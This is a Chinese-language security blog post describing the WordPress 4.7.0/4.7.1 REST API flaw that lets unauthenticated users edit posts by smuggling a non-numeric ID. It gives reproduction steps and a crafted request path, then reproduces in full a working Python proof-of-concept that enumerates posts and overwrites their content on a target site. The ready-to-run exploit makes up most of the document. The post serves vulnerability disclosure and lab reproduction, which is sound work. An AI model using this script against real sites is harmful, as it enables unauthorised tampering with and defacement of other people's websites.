/ Web安全

Wordpress REST API引起的越权操作漏洞

OX01 背景

在4.7.0版本后,REST API插件的功能被集成到WordPress中,该插件的功能是为用户提供接口使得方便管理文章内容。但是引发了一些安全性问题。近日,一个由REST API引起的影响WorePress4.7.0和4.7.1版本的漏洞被披露,该漏洞可以导致WordPress所有文章内容可以未经验证被查看,修改,删除,甚至创建新的文章

0X02 漏洞原理

在使用接口操作文章时有一个id参数,例如这个POST /wp-json/wp/v2/posts/1234 则id是1234,但是呢在检测是否有权限操作文章时的代码存在逻辑漏洞,当不能匹配到一个id时就会跳过权限检测并执行update_item,进一步促成该漏洞的是在update_item方法中对于id又有限制只能是interger,限制的方法是对id进行强制装换,这样我们就可以先伪造一个不存在的id绕过第一层过滤,在update_item中又转换成已存在文章的id进而可以对文章进行擦操作。
如构造: /wp-json/wp/v2/posts/123?id=456ABC 实际上会修改id=456的文章

来源:https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

0x03 影响版本

wordpress4.7.0或4.7.1-1

0x04 复现环境

0x05 复现过程

  1. 安装wordpress,注意在安装中选择英文,中文版本复现失败
    REST API默认集成,apache需开启rewrite_mod

  2. 选择setting/permalinks为非plain模式

  3. 构造如下数据包

漏洞复现构造数据包1

返回数据包显示rest_cannot_edit

4 重新构造数据包如下

漏洞复现构造数据包2

发现返回回文章内容,在post数据中添加content内容即可实现对文章内容的更改

0x05 POC

# Exploit Title: Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Date: 2017-02-02
# Exploit Author: @leonjza
# Vendor Homepage: https://wordpress.org/
# Software Link: https://wordpress.org/wordpress-4.7.zip
# Version: Wordpress 4.7.0/4.7.1
# Tested on: Debian Jessie
#
# PoC gist: https://gist.github.com/leonjza/2244eb15510a0687ed93160c623762ab
#

# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
#  - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# Update post with content from a file:
#
# $ cat content
# foo
#
# $ python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!

import json
import sys
import urllib2

from lxml import etree


def get_api_url(wordpress_url):
    response = urllib2.urlopen(wordpress_url)

    data = etree.HTML(response.read())
    u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]

    # check if we have permalinks
    if 'rest_route' in u:
        print(' ! Warning, looks like permalinks are not enabled. This might not work!')

    return u


def get_posts(api_base):
    respone = urllib2.urlopen(api_base + 'wp/v2/posts')
    posts = json.loads(respone.read())

    for post in posts:
        print(' - Post ID: {}, Title: {}, Url: {}'
              .format(post['id'], post['title']['rendered'], post['link']))


def update_post(api_base, post_id, post_content):
    # more than just the content field can be updated. see the api docs here:
    # https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
    data = json.dumps({
        'content': post_content
    })

    url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
    req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
    response = urllib2.urlopen(req).read()

    print('* Post updated. Check it out at {}'.format(json.loads(response)['link']))


def print_usage():
    print('Usage: {} <url> (optional: <post_id> <file with post_content>)'.format(__file__))


if __name__ == '__main__':

    # ensure we have at least a url
    if len(sys.argv) < 2:
        print_usage()
        sys.exit(1)

    # if we have a post id, we need content too
    if 2 < len(sys.argv) < 4:
        print('Please provide a file with post content with a post id')
        print_usage()
        sys.exit(1)

    print('* Discovering API Endpoint')
    api_url = get_api_url(sys.argv[1])
    print('* API lives at: {}'.format(api_url))

    # if we only have a url, show the posts we have have
    if len(sys.argv) < 3:
        print('* Getting available posts')
        get_posts(api_url)

        sys.exit(0)

    # if we get here, we have what we need to update a post!
    print('* Updating post {}'.format(sys.argv[2]))
    with open(sys.argv[3], 'r') as content:
        new_content = content.readlines()

    update_post(api_url, sys.argv[2], ''.join(new_content))

    print('* Update complete!')

end